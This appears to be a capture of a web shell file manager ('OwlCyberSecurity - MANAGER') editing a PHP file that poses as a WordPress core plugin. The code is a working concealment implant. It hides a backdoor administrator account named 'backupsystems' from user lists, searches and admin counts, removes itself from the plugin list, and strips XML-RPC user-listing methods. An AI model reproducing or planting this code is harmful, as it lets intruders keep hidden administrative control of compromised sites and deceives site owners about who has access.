OwlCyberSecurity - MANAGER

Edit File: core-handler.php

<?php
/*
Plugin Name: Core Handler
Plugin URI: http://wordpress.org/plugins/
Description: Core functionality handler for WordPress
Version: 2.1
Author: WordPress
Author URI: http://wordpress.org/
*/

if (!defined('ABSPATH')) {
    exit;
}

define('PLUGIN_FILE', __FILE__);
define('PLUGIN_BASE', plugin_basename(PLUGIN_FILE));
define('PLUGIN_PATH', plugin_dir_path(PLUGIN_FILE));

function hide_admin_user($query) {
    global $wpdb, $current_user;

if ($current_user->user_login === 'backupsystems') {
        return;
    }

$query->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'backupsystems'",
        $query->query_where
    );

if (!empty($query->query_vars['search'])) {
        $query->query_where .= " AND {$wpdb->users}.user_login != 'backupsystems'";
    }
}
add_action('pre_user_query', 'hide_admin_user');

function correct_user_count($views) {
    $list = count_users();
    if (isset($list['avail_roles']['administrator'])) {
        $list['avail_roles']['administrator']--;
    }
    $list['total_users']--;

$class_a = (strpos($views['administrator'], 'current') === false) ? "" : "current";
    $class_all = (strpos($views['all'], 'current') === false) ? "" : "current";

$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_a . '">' .
        translate_user_role('Administrator') .
        ' <span class="count">(' . $list['avail_roles']['administrator'] . ')</span></a>';

$views['all'] = '<a href="users.php" class="' . $class_all . '">' .
        __('All') .
        ' <span class="count">(' . $list['total_users'] . ')</span></a>';

return $views;
}
add_filter('views_users', 'correct_user_count');

function exclude_from_search($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'backupsystems'",
        $user_search->query_where
    );
}
add_action('pre_user_search', 'exclude_from_search');

function modify_user_queries($where) {
    global $wpdb;
    return $where . $wpdb->prepare(" AND user_login != %s", 'backupsystems');
}
add_filter('users_where', 'modify_user_queries');

function hide_plugin($plugins) {
    if (isset($plugins[PLUGIN_BASE])) {
        unset($plugins[PLUGIN_BASE]);
    }
    return $plugins;
}
add_filter('all_plugins', 'hide_plugin');
add_filter('plugin_action_links', 'hide_plugin');
add_filter('network_admin_plugin_action_links', 'hide_plugin');
add_filter('site_option_active_sitewide_plugins', 'hide_plugin');

function hide_from_admin_bar() {
    if (!current_user_can('administrator')) {
        remove_action('admin_bar_menu', 'wp_admin_bar_my_account_menu', 7);
    }
}
add_action('wp_before_admin_bar_render', 'hide_from_admin_bar');

add_filter('xmlrpc_methods', function($methods) {
    unset($methods['wp.getUsers']);
    unset($methods['wp.getUsersBlogs']);
    return $methods;
});